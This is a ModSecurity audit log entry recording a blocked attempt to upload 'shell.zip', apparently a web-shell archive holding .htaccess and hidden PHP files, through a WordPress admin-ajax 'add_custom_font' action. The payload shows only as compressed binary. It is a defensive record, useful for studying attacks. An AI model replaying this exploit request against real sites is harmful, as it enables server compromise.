File: //var/lib/modsecurity/audit/20260103/20260103-0106/20260103-010613-aVix1bhenDUAADjyDHIAAAA1
--12b0782c-A--
[03/Jan/2026:01:06:13 --0500] aVix1bhenDUAADjyDHIAAAA1 192.253.228.204 34906 127.0.1.240 80
--12b0782c-B--
POST /wp-admin/admin-ajax.php HTTP/1.1
X-Real-IP: 192.253.228.204
Host: www.zonacaliente.com
Connection: close
Content-Length: 1124
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: en-US,en;q=0.9,fr;q=0.8
referer: www.google.com
Content-Type: multipart/form-data; boundary=c80b74e8695c65859fd3e5411e1794bd
--12b0782c-C--
--c80b74e8695c65859fd3e5411e1794bd
Content-Disposition: form-data; name="action"
add_custom_font
--c80b74e8695c65859fd3e5411e1794bd
Content-Disposition: form-data; name="file"; filename="shell.zip"
PK mTf .htaccessSVpruLO)IUO/J-/,IK
]3R"Nũ
pnHs\f^Jj^AFBO,\9?/EA:5058$VAQ7E))mXc
~. PK |W! q .mine.php]Qk0%n}\Gc:m֭IH5b@M 8<s9h|+6S9nsC@zwdZh@jɨaF]eJ-2[Qta,̑n*-t/S-2! +61R!nNR\)u㸥bT>y<=_Sm:'l1F1VTL5AЏLd"'C[|5PK R|WF E
.mine7.phpK5/(PPIPUHIOO-O+I+)Pww
VOTմVH-KPS*״ PK mTf $ .htaccess
ɗr@>!@>!PK |W! q $ .mine.php
)B!)B!@>!PK R|WF E
$ .mine7.php
@!@>!@>!PK E
--c80b74e8695c65859fd3e5411e1794bd--
--12b0782c-I--
action=add%5fcustom%5ffont
--12b0782c-F--
HTTP/1.1 400 Bad Request
X-Powered-By: PHP/5.3.29
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8
--12b0782c-E--
--12b0782c-H--
Stopwatch: 1767420373752821 191034 (- - -)
Stopwatch2: 1767420373752821 191034; combined=90, p1=53, p2=20, p3=14, p4=1, p5=2, sr=33, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"
--12b0782c-Z--